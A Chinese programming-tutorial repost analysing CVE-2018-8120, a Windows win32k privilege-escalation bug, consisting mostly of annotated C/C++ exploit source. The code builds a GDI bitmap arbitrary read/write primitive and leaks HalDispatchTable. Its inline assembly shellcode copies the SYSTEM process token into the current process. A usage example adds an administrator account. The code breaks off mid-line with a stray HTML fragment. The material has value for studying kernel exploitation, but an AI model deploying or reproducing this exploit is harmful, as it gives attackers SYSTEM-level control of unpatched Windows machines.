C/C++知识点之CVE-2018-8120 分析
小标 2019-04-01 来源 : 阅读 907 评论 0

摘要:本文主要向大家介绍了C/C++知识点之CVE-2018-8120 分析,通过具体的内容向大家展示,希望对大家学习C/C++知识点有所帮助。

本文主要向大家介绍了C/C++知识点之CVE-2018-8120 分析,通过具体的内容向大家展示,希望对大家学习C/C++知识点有所帮助。

C/C++知识点之CVE-2018-8120 分析

提权:
shellcode大部分是拷贝访问令牌 token
原理: 拷贝进程pid为 4(这里为 4)的token 到当前进程的EPROCESS 中的token实现提权
漏洞的再次利用漏洞
bitmap 漏洞可以实现任意地址的读写
https://bbs.pediy.com/thread-225209.htm
//netsecurity.51cto.com/art/201703/534434.htm
CVE-2018-8120的漏洞关键点有俩个:
1.没有检查空指针。导致可以在 null 页放 shellcode
2.有一个地址拷贝操作。bitmap 漏洞刚好要一个地址拷贝操作。


#define PSAPI_VERSION 1
#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <intrin.h> 
//#pragma comment(lib,"ntdll.lib")
#pragma comment(lib, "Psapi.lib")

#ifndef _WIN64
typedef
NTSYSAPI
NTSTATUS
(NTAPI *_NtAllocateVirtualMemory)(
IN HANDLE               ProcessHandle,
IN OUT PVOID            *BaseAddress,
IN ULONG                ZeroBits,
IN OUT PULONG           RegionSize,
IN ULONG                AllocationType,
IN ULONG                Protect);

struct tagIMEINFO32
{
    unsigned int dwPrivateDataSize;
    unsigned int fdwProperty;
    unsigned int fdwConversionCaps;
    unsigned int fdwSentenceCaps;
    unsigned int fdwUICaps;
    unsigned int fdwSCSCaps;
    unsigned int fdwSelectCaps;
};

typedef struct tagIMEINFOEX
{
    HKL__ *hkl;
    tagIMEINFO32 ImeInfo;
    wchar_t wszUIClass[16];
    unsigned int fdwInitConvMode;
    int fInitOpen;
    int fLoadFlag;
    unsigned int dwProdVersion;
    unsigned int dwImeWinVersion;
    wchar_t wszImeDescription[50];
    wchar_t wszImeFile[80];
    __int32 fSysWow64Only : 1;
    __int32 fCUASLayer : 1;
}IMEINFOEX, *PIMEINFOEX;

struct _HEAD
{
    void *h;
    unsigned int cLockObj;
};

struct tagKBDFILE
{
    _HEAD head;
    tagKBDFILE *pkfNext;
    void *hBase;
    void *pKbdTbl;
    unsigned int Size;
    void *pKbdNlsTbl;
    wchar_t awchDllName[32];
};

typedef struct _tagKL
{
    _HEAD head;
    _tagKL *pklNext;
    _tagKL *pklPrev;
    unsigned int dwKL_Flags;
    HKL__ *hkl;
    tagKBDFILE *spkf;
    tagKBDFILE *spkfPrimary;
    unsigned int dwFontSigs;
    unsigned int iBaseCharset;
    unsigned __int16 CodePage;
    wchar_t wchDiacritic;
    tagIMEINFOEX *piiex;
    unsigned int uNumTbl;
    tagKBDFILE **pspkfExtra;
    unsigned int dwLastKbdType;
    unsigned int dwLastKbdSubType;
    unsigned int dwKLID;
}tagKL, *P_tagKL;
DWORD gSyscall = 0;

__declspec(naked) void NtUserSetImeInfoEx(PVOID tmp)
{
    _asm
    {

        mov esi, tmp;
        mov eax, gSyscall;
        mov edx, 0x7FFE0300;
        call dword ptr[edx];
        ret 4;
    }
}
#else
extern "C" void NtUserSetImeInfoEx(PVOID);
typedef
NTSYSAPI
NTSTATUS
(NTAPI *_NtAllocateVirtualMemory)(
IN HANDLE               ProcessHandle,
IN OUT PVOID            *BaseAddress,
IN ULONG                ZeroBits,
IN OUT PULONG64           RegionSize,
IN ULONG                AllocationType,
IN ULONG                Protect);
#endif

typedef struct
{
    LPVOID pKernelAddress;
    USHORT wProcessId;
    USHORT wCount;
    USHORT wUpper;
    USHORT wType;
    LPVOID pUserAddress;
} GDICELL;
typedef NTSTATUS(__stdcall*RtlGetVersionT)(PRTL_OSVERSIONINFOW lpVersionInformation);

typedef BOOL(WINAPI *LPFN_GLPI)(
    PSYSTEM_LOGICAL_PROCESSOR_INFORMATION,
    PDWORD);

typedef NTSTATUS(WINAPI *NtQueryIntervalProfile_t)(IN ULONG   ProfileSource,
    OUT PULONG Interval);

NtQueryIntervalProfile_t NtQueryIntervalProfile;

DWORD gTableOffset = 0;
HANDLE gManger, gWorker;

#ifdef _WIN64
ULONG64 gtable;
#else
DWORD gtable;
#endif

#ifdef _WIN64
ULONG64 getpeb()
{
#else
DWORD getpeb()
{
#endif
#ifdef _WIN64
    ULONG64 p = (ULONG64)__readgsqword(0x30);
    p = *(ULONG64*)(p + 0x60);
#else
    // fs18是指向当前段选择子的自身也就当前teb  面 fs0 是一条链
    //读取fs中的偏移     fs [0] 与 fs [0x18](self) = teb
    DWORD p = (DWORD)__readfsdword(0x18);
    //peb
    p = *(DWORD*)((char*)p + 0x30);
#endif
    return p;
}
#ifdef _WIN64
ULONG64 getgdi()
{
#else
//获取句柄表
DWORD getgdi()
{
#endif
#ifdef _WIN64
    return *(ULONG64*)(getpeb() + gTableOffset);
#else
    //表的偏移     gTableOffset = GdiSharedHandleTable  Gdi句柄表
    return *(DWORD*)(getpeb() + gTableOffset);
#endif

}
PVOID getpvscan0(HANDLE h)
{  
    //句柄表
    if (!gtable)
        gtable = getgdi();
#ifdef _WIN64
    ULONG64 p = gtable + LOWORD(h) * sizeof(GDICELL);  //64位直接就是地址
    GDICELL *c = (GDICELL*)p;
    return (char*)c->pKernelAddress + 0x50;
#else
    // LOWORD()得到一个32bit数的低16bit   句柄的最后两个字节是该结构在GdiSharedHandleTable数组中的索引(=>handle & 0xffff)
    DWORD p = (gtable + LOWORD(h) * sizeof(GDICELL)) & 0x00000000ffffffff; //32位的地址   如:0xfffff901 43e97000
    //拿到GDICELL
    GDICELL *c = (GDICELL*)p;
    //GDICELL结构的 pKernelAddress 成员指向 BASEOBJECT 结构 
    //BASEOBJECT 结构  的后面有一个特定的结构体 它的类型取决于该对象的类型。对于bitmaps来说,这是个 surface object 结构体
    //要内存中是这样的
    // 32bit size: 0x10
    // 64bit size: 0x18
    /*struct _BASEOBJECT
    {
         IntPtr hHmgr;
         UInt32 ulShareCount;
         UInt16 cExclusiveLock;
         UInt16 BaseFlags;
         UIntPtr Tid;
    }*/
    // 32bit size: 0x34
    // 64bit size: 0x50
    // struct _SURFOBJ
    //{
    //   IntPtr dhsurf;
    //   IntPtr hsurf;
    //   IntPtr dhpdev;
    //   IntPtr hdev;
    //   IntPtr sizlBitmap;
    //   UIntPtr cjBits;
    //   IntPtr pvBits;
    //   IntPtr pvScan0; // offset => 32bit = 0x20 & 64bit = 0x38
    //   UInt32 lDelta;
    //   UInt32 iUniq;
    //   UInt32 iBitmapFormat;
    //   UInt16 iType;
    //   UInt16 fjBitmap;
    //}
    //struct {
    //  BASEOBJECT  baseobject;   //32位为0x10
    //  SUUOBJ  surobj;
    //  ......
    //}
    //拿到
    return (char*)c->pKernelAddress + 0x30;   //0x30 =sizeof(baseobject)0x10 +(pvscan0偏移)0x20
#endif
}

#ifdef _WIN64
typedef unsigned __int64 QWORD, *PQWORD;
typedef  QWORD DT;
#else
typedef  DWORD DT;
#endif

extern "C" DT g_EPROCESS_TokenOffset = 0, g_EPROCESS = 0, g_flink = 0, g_kthread = 0, g_PID = 0;
#ifdef _WIN64
extern "C" void shellcode08(void);
extern "C" void shellcode7(void);
#else

__declspec(noinline) int shellcode()
{
    __asm {
        pushad;// save registers state
        mov edx, g_kthread;  
        mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread   fs[0x120]= _KPRCB    再加4=_KTHREAD
        mov edx, g_EPROCESS;
        mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process
        //32位下
        //_kthread 0x34为 KAPC_STATE结构为
        //typedef struct _KAPC_STATE {
        //  LIST_ENTRY ApcListHead[MaximumMode];       //线程的apc链表 只有两个 内核态和用户态
        //  struct _KPROCESS *Process;               //当前线程的进程体   PsGetCurrentProcess()   //0x38     g_EPROCESS = 0x38
        //  BOOLEAN KernelApcInProgress;              //内核APC正在执行
        //  BOOLEAN KernelApcPending;                 //内核APC正在等待执行
        //  BOOLEAN UserApcPending;                  //用户APC正在等待执行
        //} KAPC_STATE, *PKAPC_STATE, *PRKAPC_STATE;
        //_kthread 0x34+4= _KPROCESS  _KPROCESS为_EPROCESS的第一个字段 也就是说等于_EPROCESS
        mov ecx, eax;// Copy current _EPROCESS structure     当前进程的 _EPROCESS  
        mov esi, g_EPROCESS_TokenOffset;   //Token
        mov edx, 4;// WIN 7 SP1 SYSTEM Process PID = 0x4
        mov edi, g_flink;
        mov ebx, g_PID;
    SearchSystemPID:
        mov eax, [eax + edi];// Get nt!_EPROCESS.ActiveProcessLinks.Flink
        sub eax, edi;
        cmp[eax + ebx], edx;// Get nt!_EPROCESS.UniqueProcessId  判断是否等于0x4
        jne SearchSystemPID;

        mov edx, [eax + esi];// Get SYSTEM process nt!_EPROCESS.Token
        mov[ecx + esi], edx;// Copy nt!_EPROCESS.Token of SYSTEM to current process  //_EPROCESS.Token=SYSTEM_EPROCESS.Token
        popad;// restore registers state

        // recovery
        xor eax, eax;// Set NTSTATUS SUCCEESS

    }
}
#endif
DWORD GetCpuNumber()
{
    LPFN_GLPI glpi;
    BOOL done = FALSE;
    PSYSTEM_LOGICAL_PROCESSOR_INFORMATION buffer = NULL;
    PSYSTEM_LOGICAL_PROCESSOR_INFORMATION ptr = NULL;
    DWORD returnLength = 0;
    DWORD logicalProcessorCount = 0;
    DWORD numaNodeCount = 0;
    DWORD processorPackageCount = 0;
    DWORD byteOffset = 0;

    glpi = (LPFN_GLPI)GetProcAddress(
        GetModuleHandle(TEXT("kernel32")),
        "GetLogicalProcessorInformation");
    if (NULL == glpi)
    {
        puts("[-] GetLogicalProcessorInformation is not supported.");
        return (1);
    }

    while (!done)
    {
        DWORD rc = glpi(buffer, &returnLength);

        if (FALSE == rc)
        {
            if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
            {
                if (buffer)
                    free(buffer);

                buffer = (PSYSTEM_LOGICAL_PROCESSOR_INFORMATION)malloc(
                    returnLength);

                if (NULL == buffer)
                {
                    puts("[-] Error: Allocation failure");
                    return (1);
                }
            }
            else
            {
                printf("[-] Error %d\n", GetLastError());
                return 1;
            }
        }
        else
        {
            done = TRUE;
        }
    }

    ptr = buffer;

    while (byteOffset + sizeof(SYSTEM_LOGICAL_PROCESSOR_INFORMATION) <= returnLength)
    {
        switch (ptr->Relationship)
        {

        case RelationProcessorPackage:
            // Logical processors share a physical package.
            processorPackageCount++;

        default:
            break;
        }
        byteOffset += sizeof(SYSTEM_LOGICAL_PROCESSOR_INFORMATION);
        ptr++;
    }

    return processorPackageCount;
}
// detect extract kernel images.
char* DetectKernel(PDWORD offset)
{
    BOOL  pae = FALSE;
    *offset = 0;
    int tmp[4];
    RtlSecureZeroMemory(tmp, sizeof(tmp));
    __cpuid(tmp, 1);

    if (tmp[3]&0x40)
    {
        pae = TRUE;
    }

    if (GetCpuNumber()>1)
    {
#ifndef _WIN64
        if (pae)
        {
            *offset = 0x9000;
            return "ntkrpamp.exe";
        }
        else
#endif
        {
            return "ntkrnlmp.exe";
        }
    }
    else
    {
#ifndef _WIN64

        if (pae)
        {
            *offset = 0x9000;
            return "ntkrnlpa.exe";
        }
        else
#endif
        {
            return "ntoskrnl.exe";
        }
    }
}
//HalDispatchTable
PVOID leakHal()
{
    DT ntoskrnlBase;
    DT HalDTUser, HalDTOffset;
    HMODULE userKernel;
    char * FuncAddress = 0L;

    LPVOID drivers[1024];
    DWORD cbNeeded;

    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
    {
        if (drivers[0])
        {
            ntoskrnlBase = (DT)drivers[0];
        }
    }
    else
    {
        printf("[-] EnumDeviceDrivers failed; array size needed is %d\n", cbNeeded / sizeof(LPVOID));
    }
    //  ntoskrnlBase = (DWORD)pModuleInfo->Modules[0].ImageBase;
    DWORD offset = 0;
    bool failback = false;
    char *kernel = DetectKernel(&offset);
    printf("[+] Detected kernel %s\n", kernel);
    userKernel = LoadLibraryExA(kernel, NULL, DONT_RESOLVE_DLL_REFERENCES);
    if (userKernel == NULL)
    {
        printf("[-] Could not load %s , load ntoskrnl.exe instead.\n",kernel);
        userKernel = LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
        failback = true;
        if (userKernel == NULL)
        {
            puts("[-] Could not load ntoskrnl.exe");
            return FALSE;
        }
    }
    //获取内核分发表
    HalDTUser = (DT)GetProcAddress(userKernel, "HalDispatchTable");
    //计算偏移
    HalDTOffset = HalDTUser - (DT)userKernel;

    if (failback)
    {
        return (PVOID)(ntoskrnlBase + HalDTOffset + offset);
    }
    else
    {
        return (PVOID)(ntoskrnlBase + HalDTOffset);
    }
}
//main
void main()
{
    //参数个数
    int argc = 0;
    //参数数组
    wchar_t **argv = CommandLineToArgvW(GetCommandLineW(), &argc);
    puts("CVE-2018-8120 exploit by @unamer(https://github.com/unamer)");
    fflush(stdout);
    if (argc != 2)
    {
        puts("Usage: exp.exe command\nExample: exp.exe \"net user admin admin /ad\"");
        fflush(stdout);
        ExitProcess(0);
    }
    //获取ntdll的句柄
    HMODULE hntdll = GetModuleHandle(L"ntdll");
    PVOID overwrite_address;
    int overwrite_offset;
    ULONG Interval = 0;
    PVOID sc=0;
    //操作系统版本信息
    //typedef OSVERSIONINFOW OSVERSIONINFO;
    //typedef struct _OSVERSIONINFOW {
    //    DWORD dwOSVersionInfoSize;    //指定该数据结构的字节大小
    //    DWORD dwMajorVersion;        //操作系统的主版本号   5代表2000以上版本
    //    DWORD dwMinorVersion;       //操作系统的副版本号    0代表win2000. 1代表winxp
    //    DWORD dwBuildNumber;       //操作系统的创建号
    //    DWORD dwPlatformId;         //操作系统ID号
    //    WCHAR szCSDVersion[ 128 ];     // Maintenance string for PSS usage    关于操作系统的一些附加信息
    //} OSVERSIONINFOW, *POSVERSIONINFOW, *LPOSVERSIONINFOW, RTL_OSVERSIONINFOW, *PRTL_OSVERSIONINFOW;
    OSVERSIONINFOW osver;
    //避免优化编译器的意外的影响 初始化为0
    RtlSecureZeroMemory(&osver, sizeof(osver));
    osver.dwOSVersionInfoSize = sizeof(osver);
    //获取函数
    RtlGetVersionT pRtlGetVersion = (RtlGetVersionT)GetProcAddress(hntdll, "RtlGetVersion");
    pRtlGetVersion(&osver);
    //操作系统的主版本号
    if (osver.dwMajorVersion == 5) {
#ifdef _WIN64
        g_EPROCESS_TokenOffset = 0x160;
        g_EPROCESS = 0x68;
        g_flink = 0xe0;
        g_PID = 0xd8;
        g_kthread = 0x188;
#else
        g_EPROCESS_TokenOffset = 0xd8;
        g_EPROCESS = 0x38;
        g_flink = 0x098;
        g_PID = 0x94;
        g_kthread = 0x124;
#endif
    }
    else if (osver.dwMajorVersion == 6) {
#ifdef _WIN64
        gTableOffset = 0x0f8;
        if (osver.dwMinorVersion == 0)//win2008
        {
            overwrite_address = (char*)leakHal();  // HalDispatchTable
            overwrite_offset = 0x8;     // QueryIntervalProfile
            sc = &shellcode08;
            g_EPROCESS_TokenOffset = 0x168;
            g_EPROCESS = 0x68;
            g_flink = 0xe0;
            g_PID = 0xe8;
            g_kthread = 0x188;
        }
        else
        {//win7
            overwrite_address = (char*)leakHal();  // HalDispatchTable
            overwrite_offset = 0x8;     // QueryIntervalProfile
            sc = &shellcode7;
            g_EPROCESS_TokenOffset = 0x208;
            g_EPROCESS = 0x70;
            g_flink = 0x188;
            g_PID = 0x180;
            g_kthread = 0x188;
        }

#else

        gTableOffset = 0x094;
        if (osver.dwMinorVersion == 0)//win2008
        { 
            //计算要覆盖内核分发表中的地址
            overwrite_address = (char*)leakHal();  // HalDispatchTable
            overwrite_offset = 0x4;     // QueryIntervalProfile
            gSyscall = 0x121b;
            g_EPROCESS_TokenOffset = <span class="    

本文由职坐标整理并发布,希望对同学们有所帮助。了解更多详情请关注职坐标编程语言C/C+频道!

本文由 @小标 发布于职坐标。未经许可,禁止转载。
喜欢 | 0 不喜欢 | 0
看完这篇文章有何感觉?已经有0人表态,0%的人喜欢 快给朋友分享吧~
评论(0)
后参与评论

您输入的评论内容中包含违禁敏感词

我知道了

助您圆梦职场 匹配合适岗位
验证码手机号,获得海同独家IT培训资料
选择就业方向:
人工智能物联网
大数据开发/分析
人工智能Python
Java全栈开发
WEB前端+H5

请输入正确的手机号码

请输入正确的验证码

获取验证码

您今天的短信下发次数太多了,明天再试试吧!

提交

我们会在第一时间安排职业规划师联系您!

您也可以联系我们的职业规划师咨询:

小职老师的微信号:z_zhizuobiao
小职老师的微信号:z_zhizuobiao

版权所有 职坐标-一站式IT培训就业服务领导者 沪ICP备13042190号-4
上海海同信息科技有限公司 Copyright ©2015 www.zhizuobiao.com,All Rights Reserved.
 沪公网安备 31011502005948号    

©2015 www.zhizuobiao.com All Rights Reserved

208小时内训课程